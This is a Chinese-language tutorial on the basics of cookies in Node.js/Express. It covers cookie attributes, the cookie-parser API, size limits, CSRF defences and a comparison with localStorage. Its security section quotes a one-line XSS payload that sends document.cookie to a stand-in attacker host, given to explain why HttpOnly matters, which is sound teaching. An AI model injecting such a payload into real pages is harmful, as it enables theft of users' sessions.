云计算百科
云计算领域专业知识百科平台

Node系列 · Express:cookie 的基本概念

Node系列 · Express:cookie 的基本概念

Cookie 是 Web 最古老的客户端存储机制——浏览器每次请求自动带上同源 Cookie。本章讲清楚 Cookie 的工作原理、关键属性、安全问题。

一、Cookie 是什么

Cookie 是服务器下发给浏览器的少量数据,浏览器自动在后续请求中带回去:

服务器浏览器服务器浏览器#mermaid-svg-ewLg1f16IBsthEaF{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-ewLg1f16IBsthEaF .error-icon{fill:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-ewLg1f16IBsthEaF .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-ewLg1f16IBsthEaF .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-ewLg1f16IBsthEaF .marker{fill:#333333;stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF .marker.cross{stroke:#333333;}#mermaid-svg-ewLg1f16IBsthEaF svg{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-ewLg1f16IBsthEaF p{margin:0;}#mermaid-svg-ewLg1f16IBsthEaF .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .sequenceNumber{fill:white;}#mermaid-svg-ewLg1f16IBsthEaF #sequencenumber{fill:#333;}#mermaid-svg-ewLg1f16IBsthEaF #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-ewLg1f16IBsthEaF .messageText{fill:#333;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .labelText,#mermaid-svg-ewLg1f16IBsthEaF .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopText,#mermaid-svg-ewLg1f16IBsthEaF .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-ewLg1f16IBsthEaF .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-ewLg1f16IBsthEaF .noteText,#mermaid-svg-ewLg1f16IBsthEaF .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-ewLg1f16IBsthEaF .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenu{position:absolute;}#mermaid-svg-ewLg1f16IBsthEaF .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-ewLg1f16IBsthEaF .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-ewLg1f16IBsthEaF .actor-man circle,#mermaid-svg-ewLg1f16IBsthEaF line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-ewLg1f16IBsthEaF :root{–mermaid-font-family:\”trebuchet ms\”,verdana,arial,sans-serif;}GET /login (无 Cookie)Set-Cookie: sessionId=abc123GET /api/users (Cookie: sessionId=abc123)200 OK (识别为已登录)

主要用于:

  • 会话管理:登录状态、购物车
  • 个性化:偏好设置、主题
  • 追踪:广告投放(GA、Facebook Pixel)

二、Cookie 的关键属性

HTTP/1.1 200 OK
Set-Cookie: token=abc123; Path=/; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Lax

属性作用
Name=Value 键值对数据
Domain 哪些域名可见(默认当前域)
Path 哪些路径发送(默认 /)
Expires / Max-Age 过期时间;不设 = 会话级(关浏览器就消失)
HttpOnly JS 无法访问(防 XSS)
Secure 仅 HTTPS 传输
SameSite 跨站 Cookie 限制(防 CSRF)

2.1 重要属性详解

HttpOnly:JS 通过 document.cookie 读不到——防 XSS 偷 Cookie:

// 有 HttpOnly:返回空字符串
document.cookie;
// 无 HttpOnly:返回 'token=abc123'

Secure:只通过 HTTPS 发送——HTTP 请求中浏览器会自动删除这个 Cookie。

SameSite:

值行为
Strict 任何跨站请求都不带
Lax(默认) 跨站 GET 导航带,POST / 表单提交 / iframe 不带
None 任何请求都带(必须配合 Secure)

Lax 是现代浏览器默认,强烈推荐——能挡掉大部分 CSRF 攻击。

三、Node 操作 Cookie

3.1 设置 Cookie

// 方式 1:用 Set-Cookie header
res.setHeader('Set-Cookie', 'token=abc123; HttpOnly; Path=/; Max-Age=3600');

// 方式 2:用 cookie-parser(推荐)
res.cookie('token', 'abc123', {
httpOnly: true,
secure: true, // 生产环境
sameSite: 'lax',
maxAge: 60 * 60 * 1000, // 1 小时
});

3.2 读取 Cookie

const cookie = require('cookie-parser');

app.use(cookie());

app.get('/api/profile', (req, res) => {
const token = req.cookies.token;
if (!token) {
return res.status(401).json({ error: '未登录' });
}
// 验证 token…
res.json({ user: 'alice' });
});

req.cookies 是对象:{ token: 'abc123', theme: 'dark' }。

3.3 删除 Cookie

res.clearCookie('token');

服务器无法真正"删除"客户端的 Cookie,只能通过 Set-Cookie 把它设为过期——浏览器收到后会自动清除。

四、Cookie 大小与数量限制

浏览器单 Cookie 大小每域名 Cookie 数
Chrome 4096 字节 ~180
Firefox 4096 字节 ~150
Safari 4096 字节 ~600
Edge 4096 字节 ~180

::: warning
Cookie 不适合存大量数据——单个 4KB 上限,每个域名总数也有限制。大量数据用 sessionStorage / localStorage / IndexedDB。
:::

五、安全风险

5.1 XSS 偷 Cookie

攻击者注入 <script>fetch('evil.com?c=' + document.cookie)</script> 把 Cookie 发走。

防护:Cookie 设 HttpOnly——JS 读不到。

5.2 CSRF(跨站请求伪造)

用户已登录 bank.com,访问恶意页面,恶意页面自动提交转账请求——浏览器自动带上 Cookie。

防护:

手段原理
SameSite=Lax 跨站请求不带 Cookie(现代浏览器默认)
CSRF Token 表单带服务端生成的 token,攻击者拿不到
检查 Origin / Referer 跨站请求的特征字段

5.3 Cookie 篡改

Cookie 存客户端,理论上可被修改——所以永远不要把关键状态直接放 Cookie 明文。要么:

  • 签名(HMAC-SHA256)防止篡改
  • 加密存 sessionId,服务端校验 session

cookie-parser 的 secret 参数就是用来签名验证的。

app.use(cookieParser('my-secret'));

// 设置签名 Cookie
res.cookie('user', 'alice', { signed: true });

// 读取:req.signedCookies.user 是验签后的值
// 如果被篡改,req.signedCookies.user === false

六、Cookie vs LocalStorage vs SessionStorage

维度CookieLocalStorageSessionStorage
容量 4KB ~5MB ~5MB
自动随请求发送
JS 可访问 受 HttpOnly 限制
生命周期 可设过期 永久(除非主动删) 关页面即清
跨标签页共享 ❌(仅当前标签)
用途 会话标识、追踪 本地缓存 表单草稿

选型决策:

数据类型推荐
会话 ID / 登录态 Cookie(HttpOnly + Secure)
JWT token Cookie(防 XSS 偷) 或 Authorization header
用户偏好 / 草稿 LocalStorage / SessionStorage
缓存大体积数据 IndexedDB

七、最佳实践

场景推荐
登录态 Cookie HttpOnly + Secure + SameSite=Lax + Max-Age
JWT 存储 Cookie(防 XSS)比 LocalStorage 更安全
第三方追踪 Cookie 加 SameSite=None; Secure(跨站必需)
敏感数据 不要存 Cookie——只存 ID,详情查服务端
签名 / 加密 cookie-parser(secret) + signed: true
删除 服务端用 res.clearCookie()

八、小结

  • Cookie 是浏览器自动随请求发送的小数据——用于会话管理 / 个性化 / 追踪
  • 关键属性:HttpOnly(防 XSS)、Secure(仅 HTTPS)、SameSite=Lax(防 CSRF)
  • 服务端用 cookie-parser 读取:req.cookies / req.signedCookies
  • 设置:res.cookie(name, value, options);删除:res.clearCookie(name)
  • 永远不要在 Cookie 存敏感数据明文——只存 ID,详情查服务端
  • Cookie vs LocalStorage:Cookie 自动随请求发送适合会话,LocalStorage 适合本地缓存
赞(0)
未经允许不得转载:网硕互联帮助中心 » Node系列 · Express:cookie 的基本概念
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!